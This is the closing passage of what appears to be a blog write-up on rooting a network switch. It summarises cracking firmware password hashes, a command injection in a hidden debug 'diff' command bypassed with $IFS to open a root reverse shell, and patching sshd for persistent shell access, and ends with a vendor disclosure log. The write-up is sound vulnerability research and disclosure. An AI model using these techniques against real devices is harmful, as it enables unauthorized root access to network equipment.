The current running image is flash:/boot/uImage_v3.0.15.7.bin

Switch uptime is 0 days, 5 hours, 56 minutes
Hardware Type is 4X2Q-CL
Hardware Version is 4.1
SDRAM size 1024M
Flash size 8192M
BootRom Version is v1.0.8
System serial number is ***
Current Web Version is 3.0.17

The switch’s native CLI is preserved, while the underlying Linux shell is also reachable.

That wraps up the whole exploitation process.


Summary

Looking back at the vulnerability analysis and the escape, the attack chain looks like this:

  1. Starting from firmware unpacking and static analysis, cracking the MD5 hashes in /etc/passwd gave us device credentials, which revealed that SSH authentication is intercepted by the vendor’s private AAA framework, with only a restricted CLI behind it.
  2. In the hidden rawswitch debug mode, the diff command turned out to have an unescaped system() injection point; $IFS got around the space restriction and command substitution let us run Python for a reverse shell with root privileges.
  3. Because rootfs is writable, we replaced the /usr/bin/imish string offset in the sshd binary with a wrapper script, and wrote a one-click patch script to re-apply it after every reboot, ending up with Telnet keeping the factory CLI and SSH dropping straight into a Linux shell.
    The full attack chain from firmware analysis to a root shell
    The full attack chain from firmware analysis to a root shell

Conclusion

  • This article is for technical exchange only. All testing was done on private equipment. Do not use these techniques against public devices!
  • This article was written with help from Claude Code + DeepSeek-V4-Flash
  • A lot of trial and error has been omitted. If anything is wrong or missing, please point it out. Thank you!
  • Thanks for reading patiently.

Progress Log

2026-08-18

Vendor confirming the vulnerability is valid
Vendor confirming the vulnerability is valid
The vendor has been contacted and briefed, and the vulnerability was confirmed valid


If you enjoyed this, leave a comment~

Random Posts

Loading...